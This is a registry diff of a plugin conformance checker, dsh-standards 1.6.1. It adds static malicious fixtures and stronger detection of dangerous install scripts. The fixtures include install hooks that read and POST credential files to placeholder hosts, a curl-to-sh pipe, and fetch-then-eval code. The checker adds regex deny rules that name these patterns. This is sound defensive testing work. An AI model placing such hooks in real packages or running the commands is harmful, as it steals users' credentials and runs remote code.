dsh-standards 1.6.0 → 1.6.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-cred'
2
+ export const provide = ['sec15cred']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15cred', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.cred.effect')
7
+ }
@@ -0,0 +1,8 @@
1
+ // Reads a credential file during install and posts it. Static fixture: the
2
+ // checker only reads this file, it is never executed.
3
+ import { readFileSync } from 'node:fs'
4
+ import { homedir } from 'node:os'
5
+ import path from 'node:path'
6
+
7
+ const body = readFileSync(path.join(homedir(), '.dsh', 'credentials.yaml'), 'utf8')
8
+ await fetch('https://example.invalid/collect', { method: 'POST', body })
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-cred",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "install": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-curl'
2
+ export const provide = ['sec15curl']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15curl', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.curl.effect')
7
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-curl",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "sh scripts/install.sh"
21
+ }
22
+ }
@@ -0,0 +1,4 @@
1
+ #!/bin/sh
2
+ # Static fixture: the checker reads this file, it is never executed.
3
+ set -eu
4
+ curl -fsSL https://example.invalid/setup.sh | sh
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-danger'
2
+ export const provide = ['sec15danger']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15danger', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.danger.effect')
7
+ }
@@ -0,0 +1,5 @@
1
+ // Downloads a remote script and evaluates it. Static fixture: the checker only
2
+ // reads this file, it is never executed.
3
+ const res = await fetch('http://127.0.0.1:9/payload.mjs')
4
+ const code = await res.text()
5
+ ;(0, eval)(code)
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-danger",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-safe'
2
+ export const provide = ['sec15safe']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15safe', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.safe.effect')
7
+ }
@@ -0,0 +1,5 @@
1
+ // Ordinary build-side logging; no download, no interpreter, no credentials.
2
+ import { mkdirSync } from 'node:fs'
3
+
4
+ mkdirSync('dist', { recursive: true })
5
+ console.log('postinstall: nothing to do')
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,22 @@
1
+ // Credential enumeration under ~/.dsh followed by an outbound POST. The
2
+ // checker must FAIL this; the fixture is static and nothing is executed.
3
+ import fs from 'node:fs'
4
+ import os from 'node:os'
5
+ import path from 'node:path'
6
+
7
+ const dir = path.join(os.homedir(), '.dsh')
8
+ try {
9
+ for (const f of fs.readdirSync(dir)) {
10
+ if (!/^\.?credentials/.test(f)) continue
11
+ const body = fs.readFileSync(path.join(dir, f), 'utf8')
12
+ await fetch('http://127.0.0.1:38921/webhook', { method: 'POST', body })
13
+ }
14
+ } catch { /* keep the module importable */ }
15
+
16
+ export const name = 'sec17-cred-exfil'
17
+ export const provide = ['sec17cred']
18
+
19
+ export function apply(ctx) {
20
+ ctx.provide('sec17cred', { ok: true })
21
+ ctx.effect(() => () => {}, 'sec17.cred.effect')
22
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-cred-exfil",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -258,21 +258,91 @@ function analyseClosure(sources, entryRelative) {
258
258
  // DSC-15: install lifecycle scripts
259
259
  // ---------------------------------------------------------------------------
260
260
 
261
- function scriptReferenceProblems(name, command, dir, scripts) {
262
- const problems = []
263
- const missing = []
264
- const checkRef = (reference) => {
265
- if (!reference || reference.startsWith('-')) return
266
- if (!/^(?:\.{0,2}\/|[\w@.-]+\/)/.test(reference) && !/\.(?:[cm]?[jt]s|sh|ps1)$/.test(reference)) return
267
- const absolute = path.resolve(dir, reference)
268
- if (!fs.existsSync(absolute)) missing.push(reference)
269
- }
270
- for (const match of command.matchAll(/\bnode\s+(?!-e\b|--eval\b)([^\s;&|]+)/g)) checkRef(match[1])
261
+ const SCRIPT_FILE_EXTENSION = /\.(?:[cm]?[jt]s|sh|bash|zsh|ps1)$/i
262
+ const SCRIPT_INSPECT_MAX_BYTES = 512 * 1024
263
+ const SCRIPT_DANGER_RULES = [
264
+ { pattern: /\b(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:sh|bash|zsh|dash|ksh|fish)\b/, label: 'remote script piped to a shell' },
265
+ { pattern: /\bbase64\s+(?:-d|--decode)\b|\bbase64\s+-D\b/, label: 'base64 decode' },
266
+ { pattern: /\beval\b\s*\)?\s*\(|\bnew\s+Function\s*\(|\bvm\.(?:runIn\w+|compileFunction)\s*\(/, label: 'eval/Function of a string' },
267
+ { pattern: /\bnode\s+(?:-e|--eval)\b|\b(?:sh|bash|zsh|dash|ksh)\s+-[a-z]*c\b/, label: 'inline code passed to an interpreter' },
268
+ { pattern: /\bpowershell(?:\.exe)?\b[^\n]*(?:-enc|-encodedcommand)\b/i, label: 'powershell encoded command' },
269
+ { pattern: /(?:readFile(?:Sync)?|createReadStream|open(?:Sync)?)\s*\([^\n]{0,200}(?:\.ssh|\.dsh|credential|id_rsa|id_ed25519|\.aws|\.npmrc|\.netrc|tokens?)/i, label: 'reads a credential-like path' },
270
+ { pattern: /\b(?:cat|cp|scp|tar|zip)\b[^\n]{0,160}(?:\.ssh\/|\.dsh\/|credentials|id_rsa|\.aws\/|\.npmrc|\.netrc)/i, label: 'collects credential-like files' },
271
+ { pattern: /(?:os\.homedir\(\)|process\.env\.(?:HOME|USERPROFILE|DSH_HOME))[^\n]{0,160}(?:\.dsh|\.ssh|credential|tokens?|id_rsa)/i, label: 'combines the home directory with a secret path' },
272
+ ]
273
+ const SCRIPT_NETWORK = /\b(?:fetch|axios\.(?:get|post)|https?\.(?:get|request))\s*\(|\bcurl\b|\bwget\b/
274
+ const SCRIPT_EXECUTE = /\beval\b|\bnew\s+Function\b|\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(|\bvm\.(?:runIn\w+|compileFunction)/
275
+ const SCRIPT_CHILD_DYNAMIC = [
276
+ /\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*`[^`]*\$\{/,
277
+ /\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*[A-Za-z_$][\w$]*\s*[,)]/,
278
+ ]
279
+
280
+ function scriptDangerLabels(text) {
281
+ const labels = []
282
+ const add = (label) => { if (!labels.includes(label)) labels.push(label) }
283
+ for (const rule of SCRIPT_DANGER_RULES) if (rule.pattern.test(text)) add(rule.label)
284
+ if (SCRIPT_NETWORK.test(text) && SCRIPT_EXECUTE.test(text)) add('downloads remote content and executes it')
285
+ if (/\bchild_process\b/.test(text) && SCRIPT_CHILD_DYNAMIC.some(pattern => pattern.test(text))) {
286
+ add('child_process with a dynamic command')
287
+ }
288
+ return labels
289
+ }
290
+
291
+ /** Local script paths referenced by one lifecycle command (node/sh/tsx/direct). */
292
+ function commandScriptReferences(command) {
293
+ const references = []
294
+ const add = (value) => {
295
+ if (!value || value.startsWith('-')) return
296
+ if (value.includes('://')) return
297
+ if (!SCRIPT_FILE_EXTENSION.test(value)) return
298
+ if (!references.includes(value)) references.push(value)
299
+ }
300
+ for (const match of command.matchAll(/\bnode\s+(?!-e\b|--eval\b)(?:(?:--?[\w-]+(?:=[^\s]+)?)\s+)*([^\s;&|()]+)/g)) add(match[1])
301
+ for (const match of command.matchAll(/\b(?:sh|bash|zsh|dash|ksh|fish)\s+(?!-[a-z]*c\b)([^\s;&|()]+)/g)) add(match[1])
302
+ for (const match of command.matchAll(/(?:^|[;&|]\s*|\b(?:then|do|else)\s+)((?:\.{1,2}\/)?[\w@./-]+\.(?:[cm]?[jt]s|sh|ps1))/g)) add(match[1])
303
+ return references
304
+ }
305
+
306
+ /** Follow `npm run x` one level so `postinstall: npm run setup` is inspectable. */
307
+ function collectScriptFacts(command, dir, scripts, depth = 0, seen = new Set(), acc = null) {
308
+ const facts = acc ?? { references: [], missing: [] }
309
+ for (const reference of commandScriptReferences(command)) {
310
+ if (!facts.references.includes(reference)) facts.references.push(reference)
311
+ }
271
312
  for (const match of command.matchAll(/\b(?:npm|pnpm|yarn)\s+run\s+([\w:.@-]+)/g)) {
272
- if (!Object.hasOwn(scripts, match[1])) missing.push(`npm run ${match[1]}`)
313
+ const name = match[1]
314
+ if (!Object.hasOwn(scripts, name)) {
315
+ if (!facts.missing.includes(`npm run ${name}`)) facts.missing.push(`npm run ${name}`)
316
+ continue
317
+ }
318
+ if (depth >= 2 || seen.has(name)) continue
319
+ seen.add(name)
320
+ collectScriptFacts(String(scripts[name] ?? ''), dir, scripts, depth + 1, seen, facts)
273
321
  }
274
- if (missing.length > 0) problems.push(`scripts.${name} references missing script(s): ${[...new Set(missing)].join(', ')}`)
275
- return problems
322
+ return facts
323
+ }
324
+
325
+ /**
326
+ * Read a referenced local script and look for install-time danger. The file is
327
+ * never executed; only text is inspected and the walk is bounded to the
328
+ * package directory so a lifecycle command cannot make the checker read an
329
+ * arbitrary host file.
330
+ */
331
+ function inspectInstallScript(reference, dir) {
332
+ const root = path.resolve(dir)
333
+ const absolute = path.resolve(root, reference)
334
+ if (absolute !== root && !absolute.startsWith(root + path.sep)) {
335
+ return { reference, skipped: 'outside the package tree' }
336
+ }
337
+ let stats
338
+ try { stats = fs.lstatSync(absolute) } catch { return { reference, missing: true } }
339
+ if (stats.isSymbolicLink()) return { reference, skipped: 'symlink not followed' }
340
+ if (!stats.isFile()) return { reference, missing: true }
341
+ if (stats.size > SCRIPT_INSPECT_MAX_BYTES) return { reference, skipped: `larger than ${SCRIPT_INSPECT_MAX_BYTES} bytes` }
342
+ let text
343
+ try { text = fs.readFileSync(absolute, 'utf8') } catch { return { reference, skipped: 'unreadable' } }
344
+ if (text.includes('\0')) return { reference, skipped: 'binary content' }
345
+ return { reference, labels: scriptDangerLabels(text) }
276
346
  }
277
347
 
278
348
  export function checkLifecycleScripts(manifest, dir) {
@@ -286,7 +356,16 @@ export function checkLifecycleScripts(manifest, dir) {
286
356
  present += 1
287
357
  const evidence = [`package.json#scripts.${name}`]
288
358
  const dangerous = DANGEROUS_SCRIPT.filter(rule => rule.pattern.test(command)).map(rule => rule.label)
289
- const missing = scriptReferenceProblems(name, command, dir, scripts)
359
+ const facts = dir ? collectScriptFacts(command, dir, scripts) : { references: [], missing: [] }
360
+ const missing = [...new Set(facts.missing)]
361
+ const contentFindings = []
362
+ const skipped = []
363
+ for (const reference of facts.references) {
364
+ const inspected = inspectInstallScript(reference, dir)
365
+ if (inspected.missing) missing.push(reference)
366
+ else if (inspected.skipped) skipped.push(`${reference}: ${inspected.skipped}`)
367
+ else if (inspected.labels.length > 0) contentFindings.push(`${reference}: ${inspected.labels.join(', ')}`)
368
+ }
290
369
  if (name === 'prepare' && dangerous.length > 0) {
291
370
  details.push(detail('C-15.1', 'WARN', `scripts.prepare uses a dangerous form (${dangerous.join('; ')}); prepare is allowBuilds-gated, so this is WARN not FAIL`, evidence))
292
371
  findings.push('warn')
@@ -297,10 +376,20 @@ export function checkLifecycleScripts(manifest, dir) {
297
376
  // `prepare` also runs for git/source installs, which pnpm gates behind
298
377
  // allowBuilds; a missing prepare target is therefore WARN, not FAIL.
299
378
  const level = name === 'prepare' ? 'WARN' : 'FAIL'
300
- details.push(detail('C-15.3', level, `${missing.join('; ')}${name === 'prepare' ? ' (prepare is allowBuilds-gated)' : ''}`, evidence))
379
+ details.push(detail('C-15.3', level, `scripts.${name} references missing script(s): ${missing.join(', ')}${name === 'prepare' ? ' (prepare is allowBuilds-gated)' : ''}`, evidence))
301
380
  findings.push(level === 'WARN' ? 'warn' : 'fail')
381
+ } else if (contentFindings.length > 0) {
382
+ const level = name === 'prepare' ? 'WARN' : 'FAIL'
383
+ details.push(detail('C-15.1', level, `referenced install script is dangerous: ${contentFindings.join('; ')}${name === 'prepare' ? ' (prepare is allowBuilds-gated)' : ''}`, evidence))
384
+ findings.push(level === 'WARN' ? 'warn' : 'fail')
385
+ } else if (skipped.length > 0) {
386
+ details.push(detail('C-15.2', 'WARN', `referenced install script was not inspected: ${skipped.join('; ')}`, evidence))
387
+ findings.push('warn')
302
388
  } else {
303
389
  details.push(detail('C-15.2', 'WARN', `lifecycle script scripts.${name} is present; install-time commands are not executed by the checker`, evidence))
390
+ if (facts.references.length > 0) {
391
+ details.push(detail('C-15.2', 'PASS', `inspected referenced script(s): ${facts.references.join(', ')}; no dangerous pattern found`))
392
+ }
304
393
  findings.push('warn')
305
394
  }
306
395
  }
@@ -474,6 +563,151 @@ function classifySecretPath(value) {
474
563
  return null
475
564
  }
476
565
 
566
+ const HOME_ENV_NAMES = new Set(['HOME', 'USERPROFILE', 'DSH_HOME', 'XDG_CONFIG_HOME'])
567
+ const SECRET_STRONG = /(?:^|[^a-z0-9])(?:\.ssh|id_rsa|id_ed25519|credentials?(?![a-z0-9])|tokens?(?![a-z0-9-]))(?:[^a-z0-9]|$)/i
568
+ const SECRET_WEAK = /(?:^|[^a-z0-9])\.dsh(?:[^a-z0-9]|$)/i
569
+ const FUNCTION_SCOPE_NODES = new Set([
570
+ 'FunctionDeclaration', 'FunctionExpression', 'ArrowFunctionExpression',
571
+ 'ObjectMethod', 'ClassMethod', 'ClassPrivateMethod', 'Program',
572
+ ])
573
+ const FUNCTION_LIKE_NODES = new Set([...FUNCTION_SCOPE_NODES].filter(type => type !== 'Program'))
574
+ const PATH_LIKE_NAME = /(?:path|file|dir|folder|config|secret|cred|token|home)/i
575
+
576
+ function secretStrengthOfText(text) {
577
+ if (typeof text !== 'string' || text === '') return null
578
+ if (SECRET_STRONG.test(text)) return 'strong'
579
+ if (SECRET_WEAK.test(text)) return 'weak'
580
+ return null
581
+ }
582
+
583
+ function strongerSecret(left, right) {
584
+ if (left === 'strong' || right === 'strong') return 'strong'
585
+ return left ?? right ?? null
586
+ }
587
+
588
+ /** Literal text, template text or regex pattern; comments never reach the AST. */
589
+ function literalPathText(node) {
590
+ if (!node) return null
591
+ if (node.type === 'Literal') {
592
+ if (node.regex && typeof node.regex.pattern === 'string') return node.regex.pattern
593
+ if (typeof node.value === 'string') return node.value
594
+ }
595
+ if (node.type === 'TemplateElement' && node.value) {
596
+ return typeof node.value.cooked === 'string' ? node.value.cooked : (typeof node.value.raw === 'string' ? node.value.raw : null)
597
+ }
598
+ return null
599
+ }
600
+
601
+ /**
602
+ * Only path-like literals count. A sentence such as "invalid credentials" is
603
+ * not a clue; `'.dsh'`, `'~/.ssh/id_rsa'`, `'credentials.json'` and a regex like
604
+ * `/^\.?credentials/` are.
605
+ */
606
+ function isPathLikeSecretLiteral(node, text) {
607
+ const strength = secretStrengthOfText(text)
608
+ if (!strength) return null
609
+ if (node.type === 'Literal' && node.regex) return strength
610
+ const trimmed = String(text).trim()
611
+ if (trimmed === '') return null
612
+ if (trimmed.startsWith('.') || /[\\/]/.test(trimmed)) return strength
613
+ if (/^(?:credentials?|tokens?|id_rsa|id_ed25519|\.dsh|\.ssh)$/i.test(trimmed)) return strength
614
+ if (/^[\w@.-]*(?:credentials?|tokens?|id_rsa|id_ed25519)[\w@.-]*\.(?:json|ya?ml|txt|pem|key|env|ini|conf)$/i.test(trimmed)) return strength
615
+ return null
616
+ }
617
+
618
+ /** Follow the argument through local assignments for a secret-path clue. */
619
+ function containsSecretSource(node, bindings, depth = 0, seen = new Set()) {
620
+ if (!node || depth > 4 || seen.has(node)) return null
621
+ const text = literalPathText(node)
622
+ if (text !== null) {
623
+ const strength = isPathLikeSecretLiteral(node, text)
624
+ if (strength) return strength
625
+ }
626
+ if (node.type === 'Identifier') {
627
+ const init = bindings.get(node.name)
628
+ if (!init || FUNCTION_LIKE_NODES.has(init.type)) return null
629
+ return containsSecretSource(init, bindings, depth + 1, new Set(seen).add(node))
630
+ }
631
+ let best = null
632
+ for (const key of Object.keys(node)) {
633
+ if (key === 'loc') continue
634
+ const value = node[key]
635
+ const children = Array.isArray(value) ? value : [value]
636
+ for (const child of children) {
637
+ if (!child || typeof child.type !== 'string' || FUNCTION_LIKE_NODES.has(child.type)) continue
638
+ const found = containsSecretSource(child, bindings, depth + 1, new Set(seen).add(node))
639
+ if (found === 'strong') return 'strong'
640
+ if (found === 'weak') best = 'weak'
641
+ }
642
+ }
643
+ return best
644
+ }
645
+
646
+ /** Home markers: os.homedir(), process.env.HOME/USERPROFILE/DSH_HOME/XDG_CONFIG_HOME. */
647
+ function containsHomeSource(node, bindings, depth = 0, seen = new Set()) {
648
+ if (!node || depth > 4 || seen.has(node)) return false
649
+ if (node.type === 'CallExpression') {
650
+ const names = chainNames(node.callee)
651
+ if (names[names.length - 1] === 'homedir') return true
652
+ }
653
+ if (node.type === 'MemberExpression') {
654
+ const property = memberPropertyName(node)
655
+ const object = node.object
656
+ if (property && HOME_ENV_NAMES.has(property) && object?.type === 'MemberExpression'
657
+ && identifierName(object.object) === 'process' && memberPropertyName(object) === 'env') return true
658
+ }
659
+ if (node.type === 'Identifier') {
660
+ if (HOME_ENV_NAMES.has(node.name)) return true
661
+ const init = bindings.get(node.name)
662
+ if (!init || FUNCTION_LIKE_NODES.has(init.type)) return false
663
+ return containsHomeSource(init, bindings, depth + 1, new Set(seen).add(node))
664
+ }
665
+ for (const key of Object.keys(node)) {
666
+ if (key === 'loc') continue
667
+ const value = node[key]
668
+ const children = Array.isArray(value) ? value : [value]
669
+ for (const child of children) {
670
+ if (!child || typeof child.type !== 'string' || FUNCTION_LIKE_NODES.has(child.type)) continue
671
+ if (containsHomeSource(child, bindings, depth + 1, new Set(seen).add(node))) return true
672
+ }
673
+ }
674
+ return false
675
+ }
676
+
677
+ /** A variable argument whose name suggests a path, e.g. configPath or secretFile. */
678
+ function argumentLooksPathLike(node) {
679
+ let found = false
680
+ walkAst(node, (child) => {
681
+ if (found) return
682
+ if (child.type === 'Identifier' && PATH_LIKE_NAME.test(child.name)) found = true
683
+ if (child.type === 'MemberExpression') {
684
+ const property = memberPropertyName(child)
685
+ if (property && PATH_LIKE_NAME.test(property)) found = true
686
+ }
687
+ })
688
+ return found
689
+ }
690
+
691
+ function isDshDirectoryPath(value) {
692
+ const normalized = String(value).replace(/\\/g, '/').replace(/\/+$/, '').toLowerCase()
693
+ return /(?:^|\/)\.dsh$/.test(normalized)
694
+ }
695
+
696
+ function securityScopeOf(ancestors, root) {
697
+ for (let index = ancestors.length - 1; index >= 0; index -= 1) {
698
+ if (FUNCTION_SCOPE_NODES.has(ancestors[index].type)) return ancestors[index]
699
+ }
700
+ return root
701
+ }
702
+
703
+ function isEgressCall(node) {
704
+ if (!node || node.type !== 'CallExpression') return false
705
+ const names = chainNames(node.callee)
706
+ const last = names[names.length - 1]
707
+ if (last === 'fetch') return true
708
+ return names.length >= 2 && ['http', 'https'].includes(names[0]) && ['get', 'request'].includes(last)
709
+ }
710
+
477
711
  function isEnvEnumeration(node) {
478
712
  return node.type === 'CallExpression'
479
713
  && node.callee.type === 'MemberExpression'
@@ -487,10 +721,7 @@ function isEnvEnumeration(node) {
487
721
  function hasEgressCall(ast) {
488
722
  let found = false
489
723
  walkAst(ast, (node) => {
490
- if (found || node.type !== 'CallExpression') return
491
- const names = chainNames(node.callee)
492
- if (names[names.length - 1] === 'fetch') found = true
493
- if (names.length >= 2 && ['http', 'https'].includes(names[0]) && ['get', 'request'].includes(names[names.length - 1])) found = true
724
+ if (!found && isEgressCall(node)) found = true
494
725
  })
495
726
  return found
496
727
  }
@@ -512,28 +743,85 @@ export function checkSensitiveFileReads(manifest, sources) {
512
743
  const parsed = parseModule(source)
513
744
  if (parsed.error) { parseErrors += 1; continue }
514
745
  let envEnumeration = false
515
- walkAst(parsed.ast, (node) => {
516
- if (node.type !== 'CallExpression') return
746
+ const scopeFacts = new Map()
747
+ walkAst(parsed.ast, (node, ancestors) => {
748
+ const scope = securityScopeOf(ancestors, parsed.ast)
749
+ let facts = scopeFacts.get(scope)
750
+ if (!facts) {
751
+ facts = { secretLiteral: null, egress: false, reads: [] }
752
+ scopeFacts.set(scope, facts)
753
+ }
754
+ if (isEgressCall(node)) facts.egress = true
755
+ const literal = literalPathText(node)
756
+ if (literal !== null) {
757
+ const strength = isPathLikeSecretLiteral(node, literal)
758
+ if (strength) facts.secretLiteral = strongerSecret(facts.secretLiteral, strength)
759
+ }
517
760
  if (isEnvEnumeration(node)) envEnumeration = true
761
+ if (node.type !== 'CallExpression' || node.arguments.length === 0) return
518
762
  const api = node.callee.type === 'Identifier' ? node.callee.name : memberPropertyName(node.callee)
519
- if (!READ_APIS.has(api) || node.arguments.length === 0) return
520
- const value = stringFromNode(node.arguments[0], parsed.bindings)
521
- if (value === null || value === '') return
522
- const classification = classifySecretPath(value)
523
- if (classification === null) return
524
- const record = { file: source.relative, line: lineOf(node), api, value }
525
- if (classification === 'fail') failures.push(record)
526
- else warnings.push(record)
763
+ if (!READ_APIS.has(api)) return
764
+ const argument = node.arguments[0]
765
+ facts.reads.push({
766
+ api,
767
+ line: lineOf(node),
768
+ value: stringFromNode(argument, parsed.bindings),
769
+ homeDerived: containsHomeSource(argument, parsed.bindings),
770
+ secretDerived: containsSecretSource(argument, parsed.bindings),
771
+ pathNamed: argumentLooksPathLike(argument),
772
+ })
527
773
  })
774
+ for (const facts of scopeFacts.values()) {
775
+ for (const read of facts.reads) {
776
+ const where = `${source.relative}:${read.line}`
777
+ if (read.value !== null && read.value !== '') {
778
+ const classification = classifySecretPath(read.value)
779
+ if (classification === 'fail') {
780
+ failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} reads a sensitive path at ${where}` })
781
+ continue
782
+ }
783
+ if (classification === 'warn') {
784
+ warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} reads a dotenv/environment surface at ${where}` })
785
+ continue
786
+ }
787
+ if (isDshDirectoryPath(read.value)) {
788
+ if (facts.egress && facts.secretLiteral) {
789
+ failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} lists the DSH home directory while the same function handles credential-like names and network egress at ${where}` })
790
+ } else {
791
+ warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} lists the DSH home directory at ${where}` })
792
+ }
793
+ }
794
+ continue
795
+ }
796
+ // Variable argument: approximate taint using the argument's assignment
797
+ // chain, a sibling credential-like literal, and network egress.
798
+ if (!read.homeDerived && !read.secretDerived) {
799
+ // A sibling literal alone is weak: only a path-named variable plus a
800
+ // credential literal (and egress for FAIL) is actionable.
801
+ if (!facts.secretLiteral || !read.pathNamed) continue
802
+ if (facts.egress && facts.secretLiteral === 'strong') {
803
+ failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} reads a path-named variable while the same function contains a credential-like literal and network egress at ${where}` })
804
+ } else {
805
+ warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} reads a path-named variable while the same function contains a credential-like literal at ${where}` })
806
+ }
807
+ continue
808
+ }
809
+ if (facts.egress) {
810
+ failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} reads a home/secret-derived path and the same function performs network egress at ${where}` })
811
+ } else {
812
+ warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} uses a home/secret-derived path that cannot be fully resolved at ${where}` })
813
+ }
814
+ }
815
+ }
528
816
  if (envEnumeration && hasEgressCall(parsed.ast)) {
529
- warnings.push({ file: source.relative, line: 1, api: 'Object.keys(process.env)', value: 'environment enumeration with egress' })
817
+ warnings.push({ file: source.relative, line: 1, api: 'Object.keys(process.env)', item: 'C-17.2', reason: 'environment enumeration with egress' })
530
818
  }
531
819
  }
532
820
  for (const item of failures.slice(0, 8)) {
533
- details.push(detail('C-17.1', 'FAIL', `${item.api} reads a sensitive path at ${item.file}:${item.line}`, [`${item.file}:${item.line}`]))
821
+ details.push(detail('C-17.1', 'FAIL', item.reason, [`${item.file}:${item.line}`]))
534
822
  }
535
823
  for (const item of warnings.slice(0, 8)) {
536
- details.push(detail('C-17.2', 'WARN', `${item.api} reads a dotenv/environment surface at ${item.file}:${item.line}`, [`${item.file}:${item.line}`]))
824
+ details.push(detail(item.item ?? 'C-17.2', 'WARN', item.reason, [`${item.file}:${item.line}`]))
537
825
  }
538
826
  if (parseErrors > 0) {
539
827
  details.push(detail('C-17.3', 'ERROR', `not-run: AST parse failed in ${parseErrors} source file(s)`, []))
package/CHANGELOG.md CHANGED
@@ -1,3 +1,14 @@
1
+ ## 1.6.1 — 2026-11-07
2
+
3
+ ### Fixed
4
+
5
+ - DSC-17 现在识别 `os.homedir()`/`HOME`/`DSH_HOME` 与 `.dsh`/`.ssh`/`credentials`/`tokens` 的组合,并对“读取后外发”判 FAIL;恶意样本 s2 由 pass 改为 fail/exit 1。
6
+ - DSC-15 现在读取 `scripts` 引用的本地 JS/SH 内容(限包内、≤512 KB),`curl|sh`、`base64 -d`、`eval`、读凭据、下载执行判 FAIL;普通构建脚本仍 WARN。
7
+ - 10 个真实包回归:DSC-17 0 误报,DSC-15 0 新增 FAIL。
8
+
9
+ ### Verified
10
+
11
+ - `npm test` 274/274。
1
12
  ## 1.6.0 — 2026-11-07
2
13
 
3
14
  ### Added
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dsh-standards",
3
- "version": "1.6.0",
3
+ "version": "1.6.1",
4
4
  "description": "DSH plugin standards and conformance checks: ENTRY/FLOW checks plus BOOST guidance. Non-official; no certification or ranking.",
5
5
  "type": "module",
6
6
  "main": "40-checker/src/index.mjs",